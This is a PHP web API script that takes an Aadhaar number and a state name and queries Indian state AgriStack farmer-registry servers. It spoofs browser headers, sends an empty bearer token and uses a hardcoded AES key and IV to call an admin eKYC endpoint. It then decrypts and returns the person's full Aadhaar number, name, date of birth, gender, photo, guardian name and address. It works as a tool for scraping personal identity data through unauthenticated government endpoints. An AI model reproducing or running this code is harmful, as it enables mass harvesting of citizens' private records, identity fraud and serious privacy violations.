<?php
// API ko JSON format mein set karna
header('Content-Type: application/json; charset=utf-8');

// 1. Only ALLOW GET Method
if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    http_response_code(405);
    echo json_encode([
        "code" => 405, 
        "message" => "Method Not Allowed. Only GET method is supported."
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit();
}

class EsaCrypto {
    private $key;
    private $iv;

    public function __construct($key, $iv) {
        $this->key = $key;
        $this->iv  = $iv;
    }

    private function normalizeBase64($b64) {
        $b64 = str_replace(['-', '_'], ['+', '/'], $b64);
        $pad = 4 - (strlen($b64) % 4);
        if ($pad !== 4) $b64 .= str_repeat('=', $pad);
        return $b64;
    }

    public function encrypt($plainText) {
        $cipherRaw = openssl_encrypt(
            $plainText,
            "AES-256-CBC",
            $this->key,
            OPENSSL_RAW_DATA,
            $this->iv
        );
        return base64_encode($cipherRaw);
    }

    public function decrypt($cipherB64) {
        $cipherB64 = $this->normalizeBase64($cipherB64);
        $cipherRaw = base64_decode($cipherB64, true);
        if ($cipherRaw === false) {
            throw new Exception("Base64 decode failed");
        }

        $plain = openssl_decrypt(
            $cipherRaw,
            "AES-256-CBC",
            $this->key,
            OPENSSL_RAW_DATA,
            $this->iv
        );
        return $plain;
    }
}

// === Usage Example ===

$key = "etatsnoitacilppa23bewRCkcatsirga"; // 32 chars -> AES-256
$iv  = "1224222432244424";                // 16 chars

$esa = new EsaCrypto($key, $iv);

// 2. Fetch Parameters
$uidno = $_GET['uid_number'] ?? '';
$statenameRaw = $_GET['state_name'] ?? '';

// 3. Required Parameter Check
if (empty($uidno) || empty($statenameRaw)) {
    http_response_code(400);
    echo json_encode([
        "code" => 400, 
        "message" => "Missing required parameters: 'uid_number' and 'state_name' are required."
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit();
}

// 4. Validate UID is exactly 12 digits
if (!preg_match('/^\d{12}$/', $uidno)) {
    http_response_code(400);
    echo json_encode([
        "code" => 400, 
        "message" => "Invalid uid_number. It must be exactly 12 digits long."
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit();
}

// Clean and prepare state name
$statename = preg_replace('/[^a-zA-Z0-9-& \/]+/', '', $statenameRaw);
$statename = strtolower(trim($statename));
$statelogo = "statelogo/ashok.png"; 

// Assign Web URLs based on state
if($statename=="maharashtra"){
    $weburl = "https://mhfr.agristack.gov.in/farmer-registry-api-mh"; 
    $origin = "https://mhfr.agristack.gov.in"; 
    $statelogo = "statelogo/maharashtra.png"; 
}else if($statename=="haryana"){
    $weburl = "https://hrfr.agristack.gov.in/farmer-registry-api-hr"; 
    $origin = "https://hrfr.agristack.gov.in"; 
    $statelogo = "statelogo/haryana.png"; 
}else if($statename=="bihar"){
    $weburl = "https://bhfr.agristack.gov.in/farmer-registry-api-bh"; 
    $origin = "https://bhfr.agristack.gov.in"; 
    $statelogo = "statelogo/bihar.png"; 
}else if($statename=="madhya pradesh"){
    $weburl = "https://mpfr.agristack.gov.in/farmer-registry-api-mp-web"; 
    $origin = "https://mpfr.agristack.gov.in"; 
    $statelogo = "statelogo/madhyapradesh.png"; 
}else if($statename=="chhattisgarh"){
    $weburl = "https://cgfr.agristack.gov.in/farmer-registry-api-cg"; 
    $origin = "https://cgfr.agristack.gov.in"; 
    $statelogo = "statelogo/chhattisgarh.png"; 
}else if($statename=="punjab"){
    $weburl = "https://pbfr.agristack.gov.in/farmer-registry-api-pb"; 
    $origin = "https://pbfr.agristack.gov.in"; 
    $statelogo = "statelogo/punjab.png"; 
}else if($statename=="assam"){
    $weburl = "https://asfr.agristack.gov.in/farmer-registry-api-as-mis"; 
    $origin = "https://asfr.agristack.gov.in"; 
    $statelogo = "statelogo/assam.png"; 
}else if($statename=="mizoram"){
    $weburl = "https://mzdcs.agristack.gov.in/agristack_ag_mz/crop-survey-api-beta"; 
    $origin = "https://mzdcs.agristack.gov.in"; 
    $statelogo = "statelogo/ashok.png"; 
}else if($statename=="arunachal pradesh"){
    $weburl = "https://ardcs.agristack.gov.in/agristack_ag_ar/crop-survey-api"; 
    $origin = "https://ardcs.agristack.gov.in"; 
    $statelogo = "statelogo/ashok.png"; 
}else if($statename=="andhra pradesh"){
    $weburl = "https://apfr.agristack.gov.in/farmer-registry-api-ap"; 
    $origin = "https://apfr.agristack.gov.in"; 
    $statelogo = "statelogo/andhrapradesh.png"; 
}else if($statename=="telangana"){
    $weburl = "https://tlfr.agristack.gov.in/farmer-registry-api-tl"; 
    $origin = "https://tlfr.agristack.gov.in"; 
    $statelogo = "statelogo/telangana.png"; 
}else if($statename=="tripura"){
    $weburl = "https://trfr.agristack.gov.in/farmer-registry-api-tr"; 
    $origin = "https://trfr.agristack.gov.in"; 
    $statelogo = "statelogo/tripura.png"; 
}else if($statename=="uttarakhand"){
    $weburl = "https://ukfr.agristack.gov.in/farmer-registry-api-uk"; 
    $origin = "https://ukfr.agristack.gov.in"; 
    $statelogo = "statelogo/uttarakhand.png"; 
}else if($statename=="jharkhand"){
    $weburl = "https://jhfr.agristack.gov.in/farmer-registry-api-jh"; 
    $origin = "https://jhfr.agristack.gov.in"; 
    $statelogo = "statelogo/jharkhand.png"; 
}else if($statename=="kerala"){
    $weburl = "https://klfr.agristack.gov.in/farmer-registry-api-kl"; 
    $origin = "https://klfr.agristack.gov.in"; 
    $statelogo = "statelogo/kerala.png"; 
}else if($statename=="rajasthan"){
    $weburl = "https://rjfr.agristack.gov.in/farmer-registry-api-rj"; 
    $origin = "https://rjfr.agristack.gov.in"; 
    $statelogo = "statelogo/rajasthan.png"; 
}else if($statename=="west bengal"){
    $weburl = "https://wbfr.agristack.gov.in/farmer-registry-api-wb"; 
    $origin = "https://wbfr.agristack.gov.in"; 
    $statelogo = "statelogo/westbengal.png"; 
}else if($statename=="tamil nadu"){
    $weburl = "https://tnfr.agristack.gov.in/farmer-registry-api-tn"; 
    $origin = "https://tnfr.agristack.gov.in"; 
    $statelogo = "statelogo/tamilnadu.png"; 
}else if($statename=="karnataka"){
    $weburl = "https://knfr.agristack.gov.in/farmer-registry-api-kn"; 
    $origin = "https://knfr.agristack.gov.in"; 
    $statelogo = "statelogo/karnataka.png"; 
}else if($statename=="odisha"){
    $weburl = "https://odfr.agristack.gov.in/farmer-registry-api-od"; 
    $origin = "https://odfr.agristack.gov.in"; 
    $statelogo = "statelogo/odisha.png"; 
}else if($statename=="gujarat"){
    $weburl = "https://gjfr.agristack.gov.in/farmer-registry-api-gj"; 
    $origin = "https://gjfr.agristack.gov.in"; 
    $statelogo = "statelogo/gujarat.png"; 
}else if($statename=="uttar pradesh"){
    $weburl = "https://upfr.agristack.gov.in/farmer-registry-api-up"; 
    $origin = "https://upfr.agristack.gov.in"; 
    $statelogo = "statelogo/uttarpradesh.png"; 
}else if($statename=="himachal pradesh"){
    $weburl = "https://hpfr.agristack.gov.in/farmer-registry-api-hp"; 
    $origin = "https://hpfr.agristack.gov.in"; 
    $statelogo = "statelogo/himachalpradesh.png"; 
}else{
    http_response_code(404);
    echo json_encode([
        "code" => 404,
        "message" => "This service is not available for this state"
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit();
}

$customjson = [];
$data = ["farmerAadhaarHash" => $uidno];

$encrypted = $esa->encrypt(json_encode($data));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $weburl.'/agristack/v1/api/farmerRegistryWorkFlowConfiguration/checkApprovalStatus');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'accept: application/json, text/plain, */*',
    'accept-language: en-US,en;q=0.9',
    'authorization: Bearer null',
    'cache-control: no-cache',
    'content-type: application/json',
    'origin: '.$origin,
    'pragma: no-cache',
    'priority: u=1, i',
    'referer: '.$weburl,
    'sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile: ?0',
    'sec-ch-ua-platform: "Windows"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: same-origin',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"isCheckStatusAgainstEnrolmentNumber":false,"isCheckStatusAgainstCentralId":false,"aadhaarNumber":"'.$uidno.'"}');

$response = curl_exec($ch);
curl_close($ch);

$responsejson = json_decode($response,true);

if(isset($responsejson['data']['centralId']) && $responsejson['data']['centralId']==true && $responsejson['data']['farmerNumber']==true && $responsejson['data']['centralId']!=="Not Registered"){
    $customjson['code'] = $responsejson['code'];
    $customjson['message'] = $responsejson['message'];
    $customjson['farmerid'] = $responsejson['data']['centralId'];
    $customjson['farmerNumber'] = $responsejson['data']['farmerNumber'];
    $customjson['approvalStatus'] = $responsejson['data']['approvalStatus'];
    $customjson['farmerName'] = $responsejson['data']['farmerName'];
    $customjson['enrollmentDate'] = $responsejson['data']['enrollmentDate'];
    $customjson['verifiedOn'] = $responsejson['data']['verifiedOn'];
    $customjson['verificationRemarks'] = $responsejson['data']['verificationRemarks'];
    $customjson['statelogo'] = $statelogo;

    $domain = preg_replace('#^https?://#', '', $origin);
    $domain = 'www.' . $domain;
    $customjson['originsite'] = $domain;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $weburl.'/agristack/v1/api/admin/general/getFarmerEkycDetailsV2');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'accept: application/json, text/plain, */*',
        'accept-language: en-US,en;q=0.9',
        'authorization: Bearer null',
        'cache-control: no-cache',
        'content-type: text/plain',
        'origin: '.$origin,
        'pragma: no-cache',
        'priority: u=1, i',
        'referer: '.$weburl,
        'sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
        'sec-ch-ua-mobile: ?0',
        'sec-ch-ua-platform: "Windows"',
        'sec-fetch-dest: empty',
        'sec-fetch-mode: cors',
        'sec-fetch-site: same-origin',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    ]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $encrypted);

    $response = curl_exec($ch);
    curl_close($ch);

    $myjsonde = json_decode($response,true);
    if($myjsonde['code']=="200"){
        $decrypted = $esa->decrypt($myjsonde['data']);
        $decodejsond = json_decode($decrypted,true);
        $ms = $decodejsond['dob'];
        $sec = $ms / 1000;      // convert to seconds

        // Format date (server timezone, e.g. Asia/Kolkata)
        date_default_timezone_set("Asia/Kolkata");

        $customjson['aadhaarNumber'] = base64_decode($decodejsond['aadhaarNumberBase64']);
        $customjson['dateofbirth'] = date("d/m/Y", $sec);
        $customjson['aadhaarName'] = $decodejsond['aadhaarName'];
        $customjson['aadhaarNameLocal'] = $decodejsond['ekycLLAadhaarName'];
        $customjson['gender'] = $decodejsond['gender']['genderDescEng'];
        $customjson['PhotoBase64'] = $decodejsond['ekycPhotoBaseStr'];
        $customjson['careofname'] = $decodejsond['ekycCo'];
        $customjson['distt'] = $decodejsond['ekycDist'];
        $customjson['state'] = $decodejsond['ekycState'];
        $customjson['pincode'] = $decodejsond['ekycLLPincode'];
        
        function makeAddress($parts, $pincodeKey = null, $data = []) {
            $filtered = array_filter($parts, function($v) {
                return !empty($v);
            });

            $address = implode(', ', $filtered);

            if ($pincodeKey && !empty($data[$pincodeKey])) {
                $address .= ' - ' . $data[$pincodeKey];
            }

            return $address;
        }

        $customjson['address'] = makeAddress(
            [
                $decodejsond['ekycCo'] ?? '',
                $decodejsond['ekycVtc'] ?? '',
                $decodejsond['ekycDist'] ?? '',
                $decodejsond['ekycState'] ?? ''
            ],
            'ekycLLPincode',
            $decodejsond
        );

        $customjson['addresslocal'] = makeAddress(
            [
                $decodejsond['ekycLLCo'] ?? '',
                $decodejsond['ekycLLVtc'] ?? '',
                $decodejsond['ekycLLDist'] ?? '',
                $decodejsond['ekycLLState'] ?? ''
            ],
            'ekycLLPincode',
            $decodejsond
        );

    }else{
        $customjson['code'] = $myjsonde['code'];
        $customjson['message'] = $myjsonde['message'];
    }

}else if(isset($responsejson['data']['centralId']) && $responsejson['data']['centralId']==true && $responsejson['data']['farmerNumber']==false && $responsejson['data']['centralId']=="Not Registered"){
    $customjson['code'] = 404;
    $customjson['message'] = "Not Registered";
}else{
    $customjson['code'] = $responsejson['code'] ?? 500;
    $customjson['message'] = $responsejson['message'] ?? 'Unknown Error';
}

// 5. Final output with JSON_UNESCAPED_SLASHES to fix the \/ issue
if($customjson['code']=="200"){
    echo json_encode($customjson, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}else{
    echo json_encode([
        'code' => $customjson['code'],
        'message' => $customjson['message']
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}
?>